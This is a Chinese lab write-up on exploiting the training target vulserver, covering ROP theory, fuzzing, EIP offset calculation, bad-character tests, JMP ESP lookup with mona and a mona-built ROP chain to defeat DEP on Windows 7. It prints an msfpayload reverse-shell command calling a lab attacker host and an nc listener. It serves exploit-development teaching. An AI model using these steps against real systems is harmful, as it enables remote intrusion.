# 利用ROP绕过DEP（Defeating DEP with ROP）调试笔记
0x00 背景
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本文根据参考文献《Defeating DEP with ROP》，调试vulserver，研究ROP (Return Oriented Programming)基本利用过程，并利用ROP绕过DEP (Data Execution Prevention)，执行代码。 0x00 ROP概述 缓冲区溢出的目的是为了控制EIP，从而执行攻击者构造的代码流程。
防御缓冲区溢出攻击的一种措施是，选择将数据内存段标记为不可执行，
随着攻击技术的演进，产生了ROP (Return-Oriented Programming)，Wiki上中文翻译为“返回导向编程”。下面的结构图回顾了Buffer overflow的发展历史和ROP的演进历史，不同的颜色表示了不同的研究内容，分为表示时间杂项标记、社区研究工作、学术研究工作，相关信息大家可以在网上查找。
由于DEP的存在，为了执行代码重用攻击，攻击者构造ROP Chain，通过寻找小部件（Gadget），将复杂操作转化为小操作，然后执行有用操作的短指令序列。例如，一个Gadget可能是让两个寄存器相加，或者从内存向寄存器传递字节。攻击者可以将这些Gadget链接起来从而执行任意功能。
链接Gadget的一种方式是寻找以RET结尾的指令序列。RET指令等效于POP+JUMP，它将当前栈顶指针ESP指向的值弹出，然后跳转到那个值所代表的地址，继续执行指令，攻击者通过控制ESP指向的值和跳转，达到间接控制EIP的目的，在ROP利用方法下ESP相当于EIP。如果攻击者可以控制栈空间布局，那么他就可以用RET控制跳转，从而达到间接控制EIP的目的。
下面举一个简单例子，说明ROP构造Gadget过程，栈空间形式化表示如下：
Gadget构造过程描述：
* 假设攻击者打算将V1值写入V2所指向的内存空间，即Memory[V2] = V1；
* 攻击者控制了栈空间，能够构造栈空间布局；
* **攻击者采用间接方式，寻找等效指令实现**，通过寻找Gadget指令实现；
* 攻击者找到Gadget，pop eax; ret。pop eax会将当前栈顶指针ESP所指向的内容V1存入寄存器EAX中。ESP值加4，指向新地址ESP=[ESP+4]。RET指令会将ESP新指向的内容a3存入寄存器EIP中，然后CPU会跳转到值a3所指向的地址执行。因此**RET指令能够根据栈空间上的值，控制程序的跳转地址**；
* 类似的pop ebp; ret 能够为ebp赋值，并让程序跳转到所指向的地址；
* 攻击者如果继续使用gadget，mov ebp,eax; ret，这将eax中的值移动到ebp所指向的地址中；
* 通过构造栈空间内容，让CPU按顺序执行上述Gadget，攻击者能够控制eax和ebp的值，并让eax的值写入地址ebp中。
* 借助Gadget，通过等效变换，攻击者可以向任意内存写入。
Gadget执行过程描述：
1） 初始时，栈顶指针为ESP，所指向内容为V1，EIP=a1。
2） POP操作，ESP值加4，POP相当于内存传送指令。
3） POP和MOV指令执行完，CPU会继续向下顺序执行。
4） RET相当于POP+JMP，所以RET操作，ESP值也会加4。
ROP利用Gadget图形示意：
0x01 调试环境和工具
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0x02 DEP默认设置，测试反弹shell
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**查询DEP的状态**
根据微软官方说明：http://support.microsoft.com/kb/912923/zh-cn
运行命令：
“`
wmic OS Get DataExecutionPrevention_SupportPolicy
“`
状态码为2，说明是默认配置。
另外，实验中，需要关闭Window 7防火墙。
查询运行vulserver的Windows 7系统IP地址：192.168.175.130。
**启动存在漏洞的服务器。**
**服务器连接测试**
攻击端远程连接`nc 192.168.175.130:9999`，测试服务器连接状态。
**查看服务器端网络状态**
**生成测试脚本**
在 Kali Linux上生成测试脚本，文本编辑`nano vs-fuzz1`，权限修改`chmod a+x vs-fuzz1`， 执行脚本`./vs-fuzz1`。
**测试vulserver缓冲区大小**
测试TRUN命令，测试接受字符大小，查看vulserver服务器崩溃情况。
不断调整字符长度，从100到2000，大小为2000时程序崩溃。
备注：由于实验环境在其他测试中，设置了默认调试器，当vulserver服务崩溃后，Windbg直接跳出，捕获异常。
修改默认调试器设置注册表，`If Auto is set to 0, a message box is displayed prior to postmortem debugging`。
在32位Windows 7系统下，注册表在`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug`。 键值Debugger为windbg。
在64位Windows Server2008系统下，注册表`HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug`。
将Auto值设置为0后，重新打开vulserver.exe，Kali端重新发送数据，可以看到系统弹出了崩溃对话框。
**打开调试器，附加进程**
为了进一步测试，程序崩溃情况，打开Immunity Debugger调试器，附加进程。
附加调试器后，重新发送数据包，选择发送字符长度3000，在调试器左边窗口的下部，可以看到 “Access violation when writing to [41414141] “。
“41” 是字符A的十六进制表现，具体对应表如下图。
这说明发送的“A”字符以某种方式由服务器程序错误地作为地址写入。由于地址是32位，也就是4个字节，而“A”的十六进制表示为41，所以地址变成了`41414141`。
这是一个典型的缓冲区溢出攻击，当一个子例程返回时，注入的字符`41414141`被放入EIP中，所以它成为下一条将要执行的指令地址。 但`41414141`是不是一个有效的地址，无法继续执行，所以调试器检测到程序崩溃并暂停，所以显示了Access violation。
从调试结果而言，程序存在溢出，存在可以被利用的漏洞。
开发漏洞利用程序的一种通常方式是，攻击字符长度固定，从而产生不同结果。本实验后续都使用字符长度3000来进行调试。
**生成非重复模式的字符**
为了精确表示哪些字符注入到EIP中，需要生成非重复的字符，具体代码如下。
在Kali Terminal 中输入命令，`chmod a+x vs-eip0`，使程序可执行。
执行脚本`./vs-eip0`，可以看到生成的模式 (pattern)都是3个数字加一个A。
如果形象化展示，中间添加空格，该模式是这样的：
“`
000A 001A 002A 003A 004A
…
250A 251A 252A 253A 254A
…
495A 496A 497A 498A 499A
“`
我们得到500组，每组4个字符，从000A 到 499A,总共2000个字节。
添加生成的字符，重新生成具有区分度的测试脚本如下。
再次执行。
通过调试器，可以发现”Access violation when executing [35324131]”。
下面将十六进制转为字符表示：
“`
Hex Character
— ———
35 5
32 2
41 A
31 1
“`
因此，字符是“52A1”。然而，由于英特尔处理器是“小端字节序”，所以地址被反序输入，所以输入到EIP中的实际字符是“1A25”。
我们输入的字符串在内存中的表示如下所示：
则不用借助于类似pattern_offset.rb之类的ruby脚本，可以从图形上快速计算出偏移值，251个四字节+2个字节。
模式’1A25’出现在251×4+2=1004+2=1006个字节之后
由于程序是在接收了2000字符之后崩溃，所以测试脚本在非重复模式之前添加了1000个A字符，则EIP包含4个字节是在2006字节之后。
**控制EIP指向地址**
在2006字节之后添加BCDE，使程序溢出后，EIP被覆盖为BCDE，后面继续填充许多F，以管理员模式运行Immunity Debugger和测试脚本。
调试器捕获异常，”Access violation when executing [45444342]”，说明成功了，因为十六进制值是反序显示“BCDE”。
**查看内存中ESP的值**
当子例程返回后，我们来看一下ESP所指向的值。溢出之后，在ESP所指向的空间(01C1F9E0)写入了许多FFFF。
**测试坏字符**
漏洞利用程序通过欺骗程序，插入代码到数据结构。
通常而言，以下这些字符会带来麻烦:
并不是上述所有字符会带来麻烦，也有可能存在其他坏字符。所以，接下来的任务是设法注入它们，看看会发生什么。
为了进一步测试坏字符，程序会向服务器发送一个3000字节，其中包括2006个“A”字符，随后是“BCDE”，程序返回结束后，它应该在EIP中，然后是所有256个可能的字符，最后是足够的“’F”字符，使得总长度为3000个字节。执行过程如下所示。
查看调试器左下侧窗口。第一个字节是00，但其它字符没有注入到内存中，既不是其他255个字节，也不是“F”字符。说明发生了00字节结束的字符串。 只有’\ X00’是坏字符。
**查找合适的模块**
已经控制了EIP，现在需要让它指向我们希望的地址，我们需要在ESP所执行的位置执行代码。
能起作用的两个最简单指令是“JMP ESP”和两个指令序列“PUSH ESP; RET”。
为了找到这些指令，我们需要检查Vulnerable Server运行时载入的模块。
下面利用Immunity Debugger插件 mona.py，下载后将mona.py放置在程序安装目录`C: \Immunity Inc\Immunity Debugger\PyCommands`中。
运行服务器程序，在调试器命令输入窗口中运行
“`
!mona modules
“`
由于Windows 7引入了ASLR，它导致**模块的地址在每次启动之后都会发生变化**。改变它每次重新启动时模块的地址。
为了得到可靠的漏洞利用程序，我们需要一个模块不带有ASLR和Rebase。
从下图中可以发现，有两个模块Rebase 和 ASLR 列都显示为”False”，它们是essfunc.dll和vulnserver.exe。
然而，由于 vulnserver.exe加载在非常低的地址值，开始于0x00，因此，任何引用该地址的vulnserver.exe将会获得一个空字节，而由于’\X00’是坏字符，所以它将不起作用而不能使用，因此，唯一可用的模块是essfunc.dll。 12 测试跳转指令 利用metasploit中的nasm_shell，可以显示”JMP ESP”和”POP ESP; RET”指令的汇编表示，分别是FFE4和5CC3。
如果我们能在essfunc.dll中找到这些字符序列，那么我们就能用它们开发漏洞利用程序。
在调试器中使用如下命令：
“`
!mona find -s “\xff\xe4″ -m essfunc.dll
“`
共发现9个，我们使用第一个地址`625011af`。
**生成反弹shell代码**
查询攻击端IP地址，作为受害端反向连接的IP。
指定IP、端口、编码器x86/shikata_ga_nai生成shellcode。
“`
msfpayload windows/shell_reverse_tcp LHOST=”192.168.175.142” LPORT=443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -b ‘\x00’
“`
生成完整测试代码。
运行`nc -nlvp 443`，监听443端口。
运行vulserver，攻击端执行测试脚本 ./vs-shell，发送数据。
攻击端获得反弹shell，可以查询信息。
**测试栈空间代码执行情况**
在基本DEP开启条件下，测试漏洞代码在内存空间上的可执行情况。
NOP滑行区有许多“90”，最后跟着的是“CC”，说明可以向内存中注入并执行代码，代码为可执行状态。
0x03 DEP全部开启，测试反弹shell
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* * *
**DEP全部开启**
**再次运行JMP ESP**
在DEP全部开启的状态下，再次运行./vs-rop1，调试器显示”Access violation”。
我们不能在栈空间上执行任何代码，甚至NOP也不行，无法单步执行。DEP是一个强大的安全功能，阻挡了许多攻击。下面通过ROP来绕过DEP。
理论上来说，我们可以用ROP构造出整个Metasploit载荷，例如，反向连接（reverse shell），但那需要花费大量的时间。在实际应用中，我们只需要用ROP关闭DEP即可，这是一个简单而优雅的解决方案。
为了关闭DEP，或在DEP关闭后分配内存空间，可以使用的函数有：VirtuAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()。
拼凑“Gadgets”（机器语言代码块）是一个相当复杂的过程，但是， MONA的作者已经为我们完成了这项艰难的工作。
“`
!mona rop -m *.dll -cp nonull
“`
MONA会搜寻所有的DLL，用于构造有用的Gadgets链，可以想象，这是一个花费时间的工作。
**生成ROP Chain**
使用mona，我在开了2G内存的虚拟机中，运行消耗了 0:08:39。
mona生成的rop_chains.txt，Python代码部分。
**测试ROP Chain**
通过ROP构造测试代码，再次运行，NOP滑行区有许多“90”，最后跟着的是“CC”，说明ROP链关闭了DEP，向栈上注入的代码可以被执行了，注入的代码是16个NOP和一个中断指令INT 3。
如果我们单步执行，EIP能够继续往下执行，而不会产生访问违例（Access violation）。
**利用ROP反弹shell**
将ROP代码加入，添加反弹shell的代码，修改生成测试脚本，开启nc -nlvp 443，启动服务端程序，执行程序vs-rop3。
开启nc监听端口443，获得反弹shell，在攻击端查看Window 7系统上DEP状态，DataExecutionPrevention_SupportPolicy状态码为3，即所有进程都开启DEP情况下，利用ROP溢出成功。
反弹连接成功后，在服务端，查看连接状态信息。
使用TCPView查看，443端口是https连接。
0x04 参考文献
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1) https://samsclass.info/127/proj/vuln-server.htm
2) https://samsclass.info/127/proj/rop.htm
3) http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
4) http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/
5) http://en.wikipedia.org/wiki/Return-oriented_programming
6) http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
7) https://users.ece.cmu.edu/~dbrumley/courses/18487-f13/powerpoint/06-ROP.pptx
8) http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming
9) http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
10) http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on.html
11) http://jbremer.org/mona-101-a-global-samsung-dll/
12) https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
13) http://www.fuzzysecurity.com/tutorials/expDev/7.html
14) http://hardsec.net/dep-bypass-mini-httpd-server-1-2/?lang=en
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